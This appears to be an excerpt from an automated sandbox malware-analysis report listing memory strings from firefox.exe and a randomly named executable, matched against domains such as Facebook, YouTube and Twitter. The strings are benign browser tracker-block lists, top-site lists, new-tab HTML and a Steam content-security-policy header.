Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.search.separatePrivateDefault.ui.enabled://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.urlbar.dnsResolveFullyQualifiedNamesDevTools telemetry entry point failed: devtools-commandkey-profiler-capturebrowser and that URL. Falling back to devtools.debugger.features.javascript-tracingdevtools.performance.recording.ui-base-urldevtools/client/framework/devtools-browserFailed to listen. Listener already attached.Got invalid request to save JSON dataFailed to listen. Callback argument missing.No callback set for this channel.WebChannel/this._originCheckCallbackdevtools.performance.popup.feature-flagdevtools/client/framework/devtoolsresource://devtools/server/devtools-server.jsand deploy previews URLs are allowed.devtools.debugger.remote-websocketresource://devtools/shared/security/socket.jsUnable to start devtools server on @mozilla.org/network/protocol;1?name=defaultdevtools-commandkey-javascript-tracing-toggle@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1devtools-commandkey-profiler-start-stopbrowser.fixup.dns_first_for_single_wordsreleaseDistinctSystemPrincipalLoader^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$DevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sbrowser.fixup.domainsuffixwhitelist.^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$){33d75835-722f-42c0-89cc-44f328e56a86}^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsCan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<_injectDefaultProtocolHandlersIfNeededhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s^([a-z+.-]+:\/{0,3})*([^\/@]+@).+https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type{c6cf88b7-452e-47eb-bdc9-86e3561648ef}gecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPScheme should be either http or httpshttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/DeferredTask.sys.mjshttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/ne
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: disabled_picture_in_picture_overrides.washingtonpost://id.rambler.ru/rambler-id-helper/auth_events.js://webcompat-addon-testbed.herokuapp.com/shims_test.js://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js://securepubads.g.doubleclick.net/gpt/pubads_impl_.js://www.googleadservices.com/pagead/conversion_async.js://securepubads.g.doubleclick.net/tag/js/gpt.js*http://mozilla.org/#/properties/filterFetchResponse equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/color-mix(in srgb, currentColor 14%, transparent)color-mix(in srgb, currentColor 25%, transparent)://id.rambler.ru/rambler-id-helper/auth_events.js://pagead2.googlesyndication.com/pagead/js/.js*fcd=truepruneAttachments/</allAttachments</request.onsuccess equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
